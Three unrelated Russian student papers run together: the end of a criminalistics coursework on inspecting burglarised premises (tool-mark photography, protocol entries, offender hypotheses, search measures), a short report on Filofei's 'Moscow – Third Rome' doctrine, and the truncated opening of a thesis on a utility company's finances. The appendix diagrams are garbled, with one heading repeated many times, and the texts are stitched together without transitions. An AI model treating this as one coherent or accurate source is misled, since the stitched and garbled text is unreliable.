Съемку следов (узловые снимки) лучше производить при равномерном прямом освещении. Если следы недостаточно заметны, общее прямое освещение дополняется боковой подсветкой; при этом источник бокового света располагается ближе к объекту съемки, чем источник, дающий прямой свет.

Снимки отдельных следов (детальные снимки) делают в крупном масштабе, при необходимости используют удлинительные кольца. Особое внимание обращают на расположение миллиметровой масштабной линейки (она не должна загораживать какие-либо участки следа), а также на то, чтобы оптическая ось объектива была перпендикулярна поверхности следа. Для более четкого воспроизведения на снимках отобразившихся в следе признаков контактной части орудия взлома (размер, форма, характерные особенности) важно найти соответствующее сочетание прямого и бокового освещений поверхности следа. Если характерные особенности следа имеют форму линий (трасс), источник бокового света располагают перпендикулярно их направлению, если же такие линии, отражающие особенности следа, идут в разных направлениях, делают несколько снимков одного и того же следа при разных направлениях бокового света.

При фотосъемке следов наслоения, образованных частицами краски и иными веществами, отличающимися по цвету от следоносителя, целесообразно использовать цветную фотопленку.

2.12 Фиксация обнаруженных следов в протоколе осмотра места происшествия в помещении

В описательной части протокола осмотра должна содержаться подробная характеристика взломанной двери или оконной рамы, а также следов взлома и обнаруженных на месте происшествия орудий взлома. При этом надлежит отразить такие сведения:

а)место расположения следа (снаружи, изнутри помещения, часть двора, окна, стена, пол, потолок; расстояние до двух постоянных ориентиров, например до верхнего края и внутреннего края боковой обвязки оконного переплета; расстояние от центра следа до запора);

б)вид следа (поверхностный, объемный; наслоения, отслоения; цвет следообразующего вещества; след нажима, удара, трения, разреза, раструба, распила, сверления);

в)форма следа (квадратная, прямоугольная, треугольная, ромбовидная, трапециевидная, круглая, овальная, неправильная, продолговатая и т.д.);

г)размеры следа (длина, ширина, глубина);

д)характерные особенности строения (выпуклости, углубления определенной формы, их размеры и расположение);

е)наличие наслоений (в виде краски, жира, ржавчины и др.; цвет вещества наслоения, запах, степень вязкости, твердости, люминесцирует ли при облучении ультрафиолетовыми лучами, если да — цвет и интенсивность люминесценции).

Отличая следы пролома, распила или сверления, в протоколе осмотра нужно указать: месторасположение, форму и размеры пролома; наличие, характер и расположение материала разрушенной преграды; наличие, характер и расположение следов инструментов; характер распила (полный или неполный); особенности поверхности распила (неровная, с уступам, ровная); наличие надпила и ширину образовавшейся канавки; наименьшую и наибольшую величину опилок; местонахождение следов сверления, характер отверстия (сквозное или несквозное); размеры (диаметр, глубина) каждого следа; присутствие и характер следа разметки (намечено карандашом, пастой, керном); наличие, расположение, характерные особенности стружки (форма, размеры, следы от сверла).

Необходимо описать:

а)местонахождение и положение замка: укреплен в двери, навешен на пробой, валяется на полу, земле (в последнем случае расстояние до двух ближайших ориентиров);

б)вид замка (по способу крепления: съемный, врезной, прирезной; по механизму запирания: сувальдный, пружинный, цилиндровый);

в)форма и размеры (прямоугольная, квадратная, округлая; длина, ширина);

г)цвет (металла или слоя краски);

д)обозначения (наименование завода, заводской знак, инициалы владельца и др.);

е)наличие и местонахождение следов рук, наслоений посторонних веществ (крови, краски, частиц металла, смазочного материала и т.д.);

ж)положение подвижных деталей (дужка в запертом положении, откинута; ригель утоплен в короб, выдвинут и т.д.);

з)целостность замка и запорных приспособлений или наличие, характер, расположение повреждений (деформация короба навесного замка, вырванная, погнутая, перепиленная, перерезанная дужка, погнутый ригель, наличие на нем вмятин и царапин; царапины вокруг скважины для ключа или на запорной планке; выдернутый пробой и т.д.);

и) наличие или отсутствие блеска следов орудий взлома;

к) наличие и особенности признаков, характерных для отпирания замков: подобранным, поддельным ключом или отмычкой.

Подробно отмечаются все действия по обнаружению, фиксации и изъятию следов рук, обуви, курения, запаха. Описываются оставленные преступниками предметы: их функциональное назначение, внешний вид, размеры, имеющиеся наслоения, загрязнения, вложения, отличительные особенности.

2.13 Выдвижение следственных версий по результатам осмотра места происшествия в помещении

1. Преступление совершено опытным преступником, ранее совершавшим преступления либо ранее судимым за это.

Об этом могут свидетельствовать следующие обстоятельства

а)«профессиональные» навыки при подборе жилища; наводка; оценка квартиры по окнам, дверям, элитности дома и престижности этажа; ведение наблюдения за потерпевшими — за его внешним видом, наличием дорогостоящей машины, золотых украшений, на основе объявлений о выполнении потерпевшим тех или иных работ или оказании услуг, пользующихся спросом у населения, с целью выяснения вопроса о его зажиточности;

б)умение преступника определить наличие-отсутствие жильцов в квартире (с помощью предварительного установления на дверь квартиры специальных «маячков»; по показаниям электросчетчика, находящегося на лестничной площадке, скоплению корреспонденции в почтовом ящике и т.п.);

в)использование преступником таких эффективных орудий взлома, как дрели с алмазным кругом, портативного домкрата, гидравлических ножниц по металлу, портативных аппаратов для огневой резки, отмычек, а также вспомогательных средств для открывания замков: мыла, пластилина, жевательной резинки;

г)обнаружение и отключение автономных охранных сигнализаций,
открытие замков повышенной секретности, в том числе и сейфовых;

д)сокрытие следов преступления: закрывание дверей после совершения преступления, отсутствие пальцевых отпечатков в тех местах, где они, исходя из механизма совершенного преступления, должны были быть; оставление специально принесенных в жилище и не принадлежавших преступнику предметов, документов, открывание при уходе форточки, балконной двери, применение сильнопахнущих веществ (табака, перца, стирального порошка и др.) для удаления присущего человеку индивидуального запаха или маскировки преступления.

2. Преступление совершено лицом, не обладающим преступными навыками и приемами. Это может подтверждаться такими фактами:

а)проникновение в помещение при наличии ключей под половиком, за плинтусом, в распределительной коробке; проникновение через открытые окна или балконную дверь на первом этаже здания, непрочную деревянную дверь, изготовленную из прессованного картона, с наличием пустот, а также дверь, снабженную замками с малым количеством секретов; поиск квартиры носит случайный характер путем прозвона преступником нескольких квартир и совершение преступления в той, где в этот момент отсутствуют проживающие;

б)неквалифицированный способ проникновения в квартиру с помощью грубого взлома, путем выбивания (отжима) двери телом, ногами, путем отжима двери инструментами хозяйственно-бытового назначения: стамеской, отверткой, гвоздодером, монтировкой, туристическим топориком или повреждения петель двери, выбивания шпонки петли и т.п.;

в)оставление после себя беспорядка в квартире;

г)неосторожное поведение на месте преступления: оставление в квартире явных следов рук или обуви, оставление своей одежды.

3.Преступление совершено по наводке.

Это видно из следующего:

а)целенаправленный выбор помещения, отсутствие случайного набора путем «прозвона» квартир по этажам сверху-вниз;

б)осведомленность преступников о составе семьи и распорядке дня;

г)нет особых нарушений обстановки в жилище; отсутствие разбросанных вещей;

д)посещение квартиры потерпевшего посторонними лицами незадолго до преступления (слесари-сантехники, мастера по ремонту холодильников, телевизоров, компьютеров; грузчики по доставке мебели и других товаров на дом, а также лица иной профессии).

4.Преступление совершено группой лиц.

Это подтверждается следующим:

а)оставленные на месте происшествия и принадлежащие разным лицам следы рук, обуви, курения; окурки папирос, сигарет различных марок, разнообразие привычек курения или гашения;

б)следы передвижения, переноса тяжелых предметов, которые передвинуть или перенести одному взрослому человеку невозможно;

в)следы употребления несколькими лицами пищевых продуктов и спиртных напитков.

В некоторых случаях можно сделать предположение об участии в преступлении женщины. На это могут указывать обнаруженные на месте происшествия следы, характерные для женской обуви, губной помады на окурках или посуде; похищение парфюмерных изделий, предметов женского туалета и гигиены; носильных женских вещей, иногда комплектов постельного белья, покрывал, скатертей, салфеток, статуэток, бижутерии.

5.Преступление в помещении совершено членами молодежной преступной группы или подростками.

Об этом свидетельствуют:

а)в качестве объекта посягательства выбираются преимущественно квартиры, расположенные на первом или на последнем этажах, либо на втором этаже около козырька подъезда;

б)требующие ловкости или гибкости способы проникновения в помещение: проникновение через промежутки между прутьями заградительных решеток, открытые форточки; проникновение на балкон или к окну второго этажа по карнизу дома, водосточной трубе, через козырек над входной дверью подъезда, с использованием близкорастущих деревьев; с помощью верейки, ленточного буксировочного троса или альпинистской лестницы для спуска с крыши на балкон или карниз окна; с использованием похищенных ключей у приятелей в раздевалках; а также ключей, взятых из известных от товарищей тайников;

в)следы рук малого размера, а также ног, образованные обувью молодежного типа;

г)отсутствие последовательности, логичности в действиях: беспорядочное разбрасывание из хулиганских побуждений предметов и вещей по квартире, проявление пренебрежения к памятным для хозяев предметам, их повреждение или уничтожение.

6. В ряде случаев по характеру преступления можно судить о свойствах, наклонностях и других особенностях личности преступника.

Так, при обнаружении на месте происшествия следов трапезы, остатков приема пищи или распития спиртных напитков, а также завладении продуктами питания, носильной одеждой и предметами домашнего обихода, лекарствами, документами можно предположить, что к преступлению причастно лицо без определенного места жительства и занятий.

2.14 Неотложные мероприятия по розыску преступников

По поручению следователя работники милиции должны провести мероприятия, направленные на розыск преступника по горячим следам, в том числе с помощью розыскной собаки, осуществить прочесывание окружающей местности, а также обследовать близлежащие здания, где могут быть обнаружены следы пребывания преступников. О совершенном преступлении, приметах преступников оповещаются соседние органы милиции, а также органы внутренних дел на транспорте.

Выставляются заслоны и засады для перекрытия путей возможного отхода преступников. Осуществляется поквартирный (подворный) обход с целью выявления очевидцев и примет преступников, автомашины, на которой они скрылись, а также антиобщественно настроенных лиц, которые могли быть причастны к совершению преступления.

С помощью специалистов составляются субъективные портреты (фотороботы) предполагаемого преступника. Свидетелям, видевшим преступника, предъявляются для опознания фотоальбомы, видеотеки с изображением лиц, состоящих на учете в органах внутренних дел и возможно причастных к данному преступлению.

Данные о признаках внешности преступника используются для выявления в АБД информационных центров схожих по приметам лиц, взятых на картотечный учет горрайлинорганов внутренних дел.

Одновременно с этим поиск преступника осуществляется по картотекам экспертно-криминалистических подразделений органов внутренних дел необходимо проверить следы рук, обуви, орудий взлома, микрочастицы, изъятые с места происшествия в помещении.

В целях раскрытия преступления следователь дает органам дознания следующие поручения:

проверить на причастность к совершенному преступлению лиц, ранее судимых;

установить круг знакомых потерпевшего и выявить среди них тех, кто может оказаться связанным с преступником;

изучить в доме потерпевшего всех соседей с целью выявления квартир с репутацией притонов и проверить их постоянных посетителей на причастность к совершенному преступлению;

установить лиц, предварительно посещавших квартиру потерпевшего под каким-то благовидным предлогом или под видом лица, якобы исполняющего служебную функцию (работника жилищно-коммунальной конторы, горгаза, телефонной станции и т.п.), а также лиц, находившихся долгое время без видимой цели около дома, которые могли осуществлять наблюдение за окнами или отдельными гражданами, проживающими в этом доме;

выявить лиц, занимающихся изготовлением, подбором отмычек и других приспособлений, используемых при совершении преступлений;

проверить на причастность к преступлению несовершеннолетних, состоящих на учете в органах внутренних дел, совершивших ранее преступления, материалы о которых были рассмотрены в комиссиях по делам
несовершеннолетних при районной (городской) администрации; осужденных, в том числе с вынесением приговора об условном наказании или его отсрочке;

выявить лиц, которые часто посещают ночные бары, залы игровых автоматов, рестораны, казино и тому подобные места, расходующие деньги в размерах, превышающих их реальные доходы;

через регистрационно-визовые подразделения выявить лиц, внезапно выехавших с места жительства; проверить их по связям, месту жительства и работы для выяснения причин смены жительства.

ЗАКЛЮЧЕНИЕ

Из всего сказанного можно сделать определенные выводы о сущности и тактике осмотра места происшествия в помещении.

Осмотр места происшествия – это процессуальное действие, состоящее в непосредственном исследовании управомоченными лицами обстановки места происшествия и отдельных его объектов для обнаружения и закрепления фактических данных, имеющих значение доказательств, позволяющих установить в возможных пределах наличие или отсутствие признаков состава преступления в исследуемом событии, а также для построения и проверки версий и выявления причин и обстоятельств, способствующих совершению преступления.

Результативность осмотра места происшествия в помещении в большой мере зависит от подготовительных мероприятий, предпринятых следователем.

Внесение изменений в уголовно-процессуальное законодательство о возможности экспертизы до возбуждения уголовного дела было бы целесообразно, так как помимо того значения, которое может иметь проведение экспертизы на месте происшествия для раскрытия преступления по «горячим следам», порой выявление признаков преступления вообще не возможно без экспертного исследования.

Рассмотрение основных тактических положений осмотра места происшествия в помещении позволяет сделать вывод о том, что осмотр места происшествия является одним из важнейших следственных действий, позволяющих следователю установить наличие или отсутствие признаков состава преступления в исследуемом событии, обнаружить и закрепить фактические данные, имеющие значение доказательств, выявить причины и условия, способствующие совершению преступления.

СПИСОК ИСПОЛЬЗОВАННОЙ ЛИТЕРАТУРЫ

Конституция Российской Федерации. Принята всенародным голосованием 12 декабря 1993 года // Российская газета от 25 декабря 1993 г. № 237.

Уголовный кодекс РФ от 13 июня 1996 г. N 63-ФЗ (с изменениями от 27 мая, 25 июня 1998 г., 9 февраля, 15, 18 марта, 9 июля 1999 г., 9, 20 марта, 19 июня, 7 августа, 17 ноября, 29 декабря 2001 г., 4, 14 марта, 7 мая, 25 июня, 24, 25 июля, 31 октября 2002 г., 11 марта, 8 апреля, 4, 7 июля, 8 декабря 2003 г., 21, 26 июля, 28 декабря 2004 г., 21 июля, 19 декабря 2005 г., 5 января 2006 г.). Принят Государственной Думой 24 мая 1996 года. Одобрен Советом Федерации 5 июня 1996 года //Собрание законодательства Российской Федерации от 17 июня 1996 г. № 25 ст. 2954.

Уголовно-процессуальный кодекс Российской Федерации от 18 декабря 2001 г. N 174-ФЗ (с изменениями от 29 мая, 24, 25 июля, 31 октября 2002 г., 30 июня, 4, 7 июля, 8 декабря 2003 г., 22 апреля, 29 июня, 2, 28 декабря 2004 г.). Принят Государственной Думой 22 ноября 2001 года. Одобрен Советом Федерации 5 декабря 2001 года. //Собрание законодательства Российской Федерации от 24 декабря 2001 г. N 52 (часть I) ст. 4921.

Аверьянова Т.В., Белкин Р.С., Корухов Ю.Г., Россинская Е.Р. Криминалистика: Учебник для вузов / Под ред. заслуженного деятеля науки РФ, проф. Р.С. Белкина. — 2-е изд., перераб. и доп. — М.: Издательство НОРМА, 2003.

Баев О.Я. Тактика уголовного преследования и профессиональной защиты от него. Следственная тактика: Научно-практическое пособие / О.Я. Баев. — М.: Издательство “Экзамен”, 2003.

Белкин Р.С. Эксперимент в следственной и экспертной практике. – М., 1964.

Белозеров Ю.Н., Рябоконь В.В. Производство следственных действий. М., 1990.

Васильев А.Н., Корнеева Л.М., Тактика отдельных следственных действий. – М., 1981.

Васильев А.Н. Основы следственной тактики. – М., 1980.

Вопросы методики расследования преступлений: Учебное пособие. — Свердловск, 1976.

Гаврилов А.К. Следственная тактика. – Волгоград, 1984.

Гончаренко В.И. Научно-технические средства в следственной практике. — Киев, 1984.

Гутман Ю.А. Криминалистическая тактика и методика расследования отдельных видов преступлений. – М., 1976.

Давыдов Г.П. Тактика следственных действий. – М., 1959.

Дулов А.В. Тактические операции при расследовании преступлений. – Минск, 1979.

Дулов А.В., Нестеренко П.Д. Тактика следственных действий. – М., 1971.

Комментарий к Уголовно-процессуальному кодексу Российской Федерации (постатейный) (под общей ред. В.И.Радченко) — М.: Юстицинформ, 2004.

Комментарий к Уголовно-процессуальному кодексу Российской Федерации (под ред. Д.Н. Козака, Е.Б. Мизулиной) — М.: Юристъ, 2002 г.

Комиссаров А.Н. Научные, правовые и нравственные основы следственной тактики. – Саратов, 1980.

Уголовный процесс. Учебник для вузов /Под ред. К.Ф. Гуценко. – М.: «Зерцало», 2000. – 608 с.

Уголовный процесс: Учебник / Под ред. С.А. Колосовича, Е.А. Зайцевой. – ВА МВД России, 2002.

Шурухнов Н.Г. Криминалистика. М., Юристъ, 2003.

ПРИЛОЖЕНИЯ

Приложение 1

Схема. Задачи осмотра места происшествия.

Непосредственное изучение следователем материальной обстановки места происшествия для выявления характера и обстоятельств расследуемого события.

Обнаружение, фиксация, изъятие и оценка следов преступления

и иных вещественных доказательств.

Получение исходной информации для выдвижения общих и частных версий о механизме события, его участниках, личности преступнику и другие.

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

Основные задачи осмотра места происшествия

Осмотр места происшествия в помещении

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

Проверка версий

Получение данных для организации розыска преступника по «горячим следам» и других оперативно-розыскных мероприятий.

Установления Причин и условий, способствовавших совершению преступления.

Приложение 2

Схема. Этапы и стадии осмотра места происшествия.

Осмотр места происшествия в помещении

Этапы и стадии осмотра места происшествия

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

Подготовительный

Рабочий (исследовательский)

Заключительный

Осмотр места происшествия в помещенииОсмотр места происшествия в помещении

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

До выезда на место происшествия

По прибытии на место происшествия

Общий осмотр

Детальный осмотр

Приложение 3

Схема. Подготовительный этап осмотра места происшествия

Получить данные о характере происшествия, условиях и обстановке, в которой придется проводить осмотр места происшествия.

Принять меры к охране места происшествия.

Определить круг и обеспечить явку лиц, которые должны участвовать в осмотре.

Проверить готовность технико-криминалистических средств.

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

Осмотр места происшествия в помещенииОсмотр места происшествия в помещении

До выезда на место происшествия

Осмотр места происшествия в помещении

Осмотр места происшествия в помещенииДействия следователя в ходе подготовительного этапа осмотра места происшествия.

По прибытии на место происшествия

Осмотр места происшествия в помещении

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

Установить не нуждается ли пострадавший в неотложной медицинской помощи.

Принять меры к расследованию и задержанию преступника по «горячим следам»

Опросить лиц, обнаруживших происшествие, очевидцев и лиц, располагающих какими-либо сведениями о случившимся.

Удалить с места происшествия посторонних лиц и организовать охрану места происшествия.

Проинструктировать участников и распределить обязанности между ними.

Приложение 4

Схема. Рабочий (исследовательский) этап осмотра места происшествия.

Осуществляется ориентировка на месте происшествия.

Производится предварительный обзор места происшествия.

Производится фото-видеосъемка без изменения обстановки.

Намечаются границы осмотра места происшествия.

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

Осмотр места происшествия в помещенииОсмотр места происшествия в помещении

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОпределяется исходная точка и способ осмотра.

Намечается план детального осмотра (что, в какой последовательности кем и

с помощью каких средств осматривать).

Фиксируется место нахождение и взаиморасположение предметов.

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОБЩИЙ ОСМОТР

Действия следователя в ходе рабочего (исследовательского) этапа осмотра места происшествия.

Осмотр места происшествия в помещении

Детальный осмотр.

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

Планомерно

и тщательно исследуются все предметы.

Выявляются, изучаются и фиксируются следы и другие вещественные доказательства.

При необходимости следы, предметы исследуются в разобранном виде.

Фиксируются отдельные детали обстановки, характеризующие действие преступника, потерпевшего, негативные обстоятельства и т.д.

Приложение 5

Схема. Фиксация хода и результатов следственного осмотра.

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииСоставление протокола.

Производство фото или киносъемки, видеозаписи, звукозаписи.

Фиксация следов и других вещественных доказательств

с помощью порошков, паст, дактилопленки и других криминалистических средств.

Осмотр места происшествия в помещенииОсмотр места происшествия в помещении

Способы фиксации хода и результатов следственных осмотров.

Осмотр места происшествия в помещении

Осмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещенииОсмотр места происшествия в помещении

Составление планов (схем)

Упаковка изъятых вещественных доказательств.

Консервирование запахов.

1 См.: Крылов И.Ф. Криминалистика, 1976. С.308; Шурухнов Н.Г. Криминалистика. М., Юристъ, 2003. С. 241.

Доклад: Политическая концепция — «Москва — третий Рим»

Политическая концепция  — «Москва — третий Рим».

Автор теории, вошедшей в историю политической мысли под названием “Москва—третий Рим”, был иосифлянином по своей идеологической направленности. Его учение развивало и уточняло главные иосифлянские идеи о природе царской власти,  ее назначении, взаимоотношении с подданными и церковной организацией.

О самом авторе, монахе (или, может быть, настоятеле) Псковского Елизарова монастыря Филофее, известно немногое. Сам о себе он пишет, пользуясь традиционной самоуничижи- тельной формулой: “человек сельский, учился буквам, а еллин- ских борзостей не токах, а риторских астрономий не читал, ни с мудрыми философами в беседе не бывал”. Сохранившаяся о нем заметка его современника сообщает, что Филофей постоянно  жил в монастыре (“той старец неисходен бе из монастыря”) и был образованным человеком (“премудрости словес знаем”). Неизвестный биограф отмечает также смелость Филофея и его нелицеприятность, благодаря которой он “многа показал дерзновения  к государю… боярам и наместникам”, бесстрашно обличая их злоупотребления. Свою политическую теорию он сформулировал в письмах псковскому наместнику М. Г. Муне- хину и великим князьям Василию Ивановичу и Ивану Васильевичу.

Наиболее подробно у Филофея разработан вопрос о значении законной царской власти для всей русской земли. В Послании к великому князю Василию Ивановичу он возводит династическое родословие русских князей к византийским императорам, указывая  Василию III, что править ему следует по заповедям, начало которым было положено великими прадедами, в числе которых называются “великий Константин… Блаженный святой Владимир и великий и Богоизбранный Ярослав и прочие… их же корень до тебе”.

Многократно обращается Филофей к описанию образа держателя  верховной власти, разрешая его традиционно. Царь строг ко всем, кто отступает от “правды”, но заботлив и справедлив в отношении всех своих подданных, в его обязанности  входит утешать “плачущих и вопиющих… избавлять обидимых от руки обидящих”.

Высокое представление о царской власти подтверждается требованиями безоговорочного подчинения ей со стороны подданных.  По мысли Филофея, все подданные дают обет государю волю его “творити и заповеди хранити во всем”, а если и придется кому-либо понапрасну терпеть “царское великое наказание”,  то возможно только выразить свою печаль “горьким стенанием и истинным покаянием”. В обязанности государя вменяется забота не только о подданных, но и о церквах и монастырях. Духовная власть подчиняется светской, правда, с оставлением за духовными пастырями права “говорить правду” лицам, облеченным высокой властью. Он, как и его предшественники,  настаивает на необходимости законных форм реализации  власти. Так, Ивану Васильевичу он советует жить праведно  и следить за тем, чтобы и подданные его жили по законам.

Сохранившая верность православию, Россия непобедима, она сбросила татарское иго, ныне успешно обороняет свои границы и возвышается в глазах современников еще и благодаря успехам на дипломатическом поприще. Величие и славу России ФилЕ- фей сравнивает с величием и славой Рима, и особенно Византии, которая в глазах всех русских считалась великим государством. Ее блеск, слава и могущество не исчезли, а перешли к стране, возглавляемой великим русским князем.

Развитая Филофеем в политическую теорию формула “третьего  Рима” была не нова для литературы XV—XVI столетий. Сказания о наследовании той или иной страной религиозно- политического величия были известны еще в Византии. Перо Филофея приблизило их к современным условияш политико- правовой жизни русского общества.

Современники так и восприняли теорию псковского старца. Никогда она не служила —ни во время жизни мыслителя, ни впоследствии —оправданием или обоснованием каких-либо агрессий.

Теория Филофея “Москва — третий Рим” получила большое распространение, она неоднократно воспроизводилась средствами  живописи, включалась в состав храмовых росписей и других эпохальных живописных и литературных произведений и была усвоена русским общественным мнением. Отдельные ее формулы воспроизведены в чине венчания Ивана IV на царство,  и в этом плане вполне возможно считать ее доктриной, получившей официальное признание.

Список литературы

Для подготовки данной работы были использованы материалы с сайта http://www.zakroma.narod.ru/

Дипломная работа: Пути повышения эффективности деятельности коммунального предприятия ООО «Жилье-Плюс»

Реферат

Объект исследования – Коммунальное предприятие ООО «Жилье — Плюс».

Предмет исследования – методические подходы к выполнению анализа финансово – хозяйственной деятельности коммунального предприятия.

Цель работы – обоснование теоретических положений, практических и методических рекомендаций в области оценки финансовых аспектов деятельности и формировании мероприятий по повышению эффективности финансово-хозяйственной деятельности предприятия жилищно-коммунальной сферы.

Методы исследования – системный и финансовый экономический анализ, анализ финансовой документации, статистические методы, расчетно-аналитический, факторный анализ.

Рассмотрены методики проведения финансового анализа. Дана система показателей, характеризующих хозяйственно – финансовое состояние предприятия и проведен анализ жилищного фонда на балансе предприятия.

БАЛАНС, ЖИЛОЙ ФОНД, ОЦЕНКА ЭФФЕКТИВНОСТИ, ПРОИЗВОДСТВЕННЫЕ РЕСУРСЫ, ФИНАНСОВЫЙ АНАЛИЗ, ФИНАНСОВЫЕ РЕСУРСЫ, ОСНОВНЫЕ ФОНДЫ, ПЛАТЕЖЕСПОСОБНОСТЬ, ФИНАНСОВАЯ УСТОЙЧИВОСТЬ.

ВВЕДЕНИЕ

На настоящий момент жилищный фонд перешел из государственной в коммунальную собственность, поэтому финансирование его государством прекращено. Такая ситуация значительно усложнила финансовое состояние коммунальных предприятий.

На первый план все больше выходит вопрос реформирования жилищного хозяйства.

Если вопросы жилищного сектору не решается, то современное состояние жилищного хозяйства действительно угрожают национальной безопасности. Материально-техническая база жилищного хозяйства крайне изношена, и мы подошли к границе, за которой – постоянные аварии и катастрофы.

Кризисное состояние жилищного хозяйства продолжает заостряться. Ситуация настолько сложна, что нуждается в немедленных и кардинальных действиях. Его состояние, в свою очередь, существенно отражается на процессах предоставления общественных услуг, приобретение органами местного самоуправления реальной финансово-экономической автономии.

Последующее функционирование и развитие предприятий жилищно-коммунальной сферы нуждается в значительных капиталовложениях, осуществить которые лишь за счет местных бюджетов.

Проблемы, которые есть в этой отрасли, приобрели угрожающие масштабы. Новая тарифная политика не обеспечили переход на принцип самоокупаемости деятельности отраслевых предприятий.

В Украине отсутствуют экономические стимулы для привлечения инвестиций к коммунальной отрасли. Несовершенными являются и механизмы обеспечения гарантий для привлечения ссудных средств на финансирование капитальных инвестиций.

Жилищно-коммунальное хозяйство, невзирая на значительные трудности, продолжает обеспечивать первоочередные потребности населения и функционирование хозяйства Украины в целом.

Раздел 1. Значение анализа финансово-хозяйственной деятельности предприятия

1.1 Виды экономического анализа

Обеспечение эффективного функционирования предприятия требует экономически грамотного управления их деятельностью, которое во многом определяется умением ее анализировать. С помощью анализа изучаются тенденции развития, глубоко и системно исследуются факторы изменения результатов деятельности, обосновываются планы и управленческие решения, осуществляется контроль за их выявляются резервы повышения эффективности производства, оцениваются результаты деятельности предприятия, вырабатывается экономическая стратегия его развития.

Анализ хозяйственной деятельности является научной базой принятия управленческих решений в бизнесе. Для их обоснования необходимо выявлять и прогнозировать существующие и потенциальные проблемы, производственные и финансовые риски, определять воздействие принимаемых решений на уровень рисков и доходов субъекта хозяйствования.

Экономический анализ — это научный способ познания сущности экономических явлений и процессов, основанный на расчленении их на составные части и изучении их во всем многообразии связей и зависимостей.

Различают макроэкономический анализ, который изучает экономические явления и процессы на уровне мировой и национальной экономики и ее отдельных отраслей, и микроэкономический анализ, изучающий эти процессы и явления на уровне отдельных субъектов хозяйствования.

В настоящее время анализ финансово-хозяйственной деятельности занимает важное место среди экономических наук. Его рассматривают в качестве одной из функций управления производством.

Система управления состоит из следующих взаимосвязанных функций: планирования, учета, анализа и принятия управленческих решений.

Планирование представляет очень важную функцию в системе управления производством на предприятии. С его помощью определяются каждого его направление и содержание деятельности предприятия, его структурных подразделений и отдельных работников. Главной задачей планирования является обеспечение планомерности развития экономики предприятия и деятельности члена, определение путей достижения лучших конечных результатов производства.

Для управления производством нужно иметь полную и правдивую информацию о ходе производственного процесса и выполнении планов. Поэтому одной из функций управления производством является учет. Он обеспечивает постоянный сбор, систематизацию и обобщение данных, необходимых для управления производством и контроля за ходом выполнения планов и производственных процессов.

Однако для управления производством нужно иметь представление не только о ходе выполнения плана, результатах хозяйственной деятельности, но и о тенденциях и характере происходящих изменений в экономике предприятия. Осмысление, понимание информации достигаются с помощью экономического анализа. Он является связующим звеном между учетом и принятием управленческих решений. В процессе анализа первичная информация проходит аналитическую обработку; проводится сравнение достигнутых результатов деятельности с данными за прошлые отрезки времени, с показателями других предприятий и среднеотраслевым определяется влияние разных факторов на величину результативных показателей; выявляются недостатки, ошибки, неиспользованные возможности, перспективы и т.д.

На основе результатов анализа разрабатываются и обосновываются управленческие решения. Экономический анализ предшествует решениям и действиям, обосновывает их и является основой научного управления производством обеспечивает его объективность и эффективность. Следовательно, экономический анализ можно рассматривать как деятельность по подготовке данных, необходимых для научного обоснования и оптимизации управленческих решений.

Управления анализом финансово-хозяйственной деятельности тесно связан с планированием и прогнозированием производства, поскольку без глубокого анализа невозможно осуществление этих функций. Важная роль анализа финансово-хозяйственной деятельности в подготовке информации для планирования, оценке качества и обоснованности плановых показателей, в проверке и объективной оценке выполнения планов. Разработка планов для предприятий по существу также представляет собой принятие решений, которые обеспечивают развитие производства в будущем планируемом отрезке времени. При этом учитываются результаты выполнения предыдущих планов, изучаются тенденций развития экономики предприятия, выявляются и учитываются дополнительные резервы производства.

Анализ финансово-хозяйственной деятельности является средством не только обоснования планов, но и контроля за их выполнением. Планирование начинается и заканчивается анализом результатов деятельности предприятия. Анализ финансово-хозяйственной деятельности позволяет повысить уровень планирования, сделать его научно-обоснованным.

Большая роль отводится анализу в деле определения и использования резервов повышения эффективности производства. Он содействует экономному использованию ресурсов, выявлению и внедрению передового опыта, научной организации труда, новой техники и технологии производства, предупреждению излишних затрат и т.д.

Таким образом, анализ финансово-хозяйственной деятельности является важным элементом в системе управления производством, действенным средством выявления внутрихозяйственных резервов, основой разработки научно-обоснованных планов и управленческих решений.

Роль анализа как средства управления производством с каждым годом возрастает. Это обусловлено разными обстоятельствами. Во-первых, необходимостью неуклонного повышения эффективности производства в связи с ростом дефицита и стоимости сырья, повышением науки и капиталоемкости производства. Во-вторых, отходом от командно-административной системы управления и постепенным переходом к рыночным отношениям. В-третьих созданием новых форм хозяйствования в связи с разгосударствлением экономики.

В этих условиях руководитель предприятия не может рассчитывать только на свою интуицию. Управленческие решения и действия должны быть основаны на точных расчетах, глубоком и всестороннем экономическом анализе. Они должны быть научно обоснованными, мотивированными, оптимальными. Ни одно организационное, техническое н технологическое мероприятие не должно осуществляться до тех пор, пока не обоснована его экономическая целесообразность. Недооценка роли анализа финансово-хозяйственной деятельности, ошибки в планах и управленческих действиях в современных условиях приносят чувствительные потери. И наоборот, те предприятия, на которых серьезно относятся к анализу финансово-хозяйственной деятельности, имеют хорошие результаты, высокую экономическую эффективность.

1.2 Предмет, содержание и задачи анализа хозяйственной деятельности

Предметом анализа хозяйственной деятельности являются причинно-следственные связи экономических явлений и процессов.

Объектами анализа хозяйственной деятельности являются экономические результаты хозяйственной деятельности.

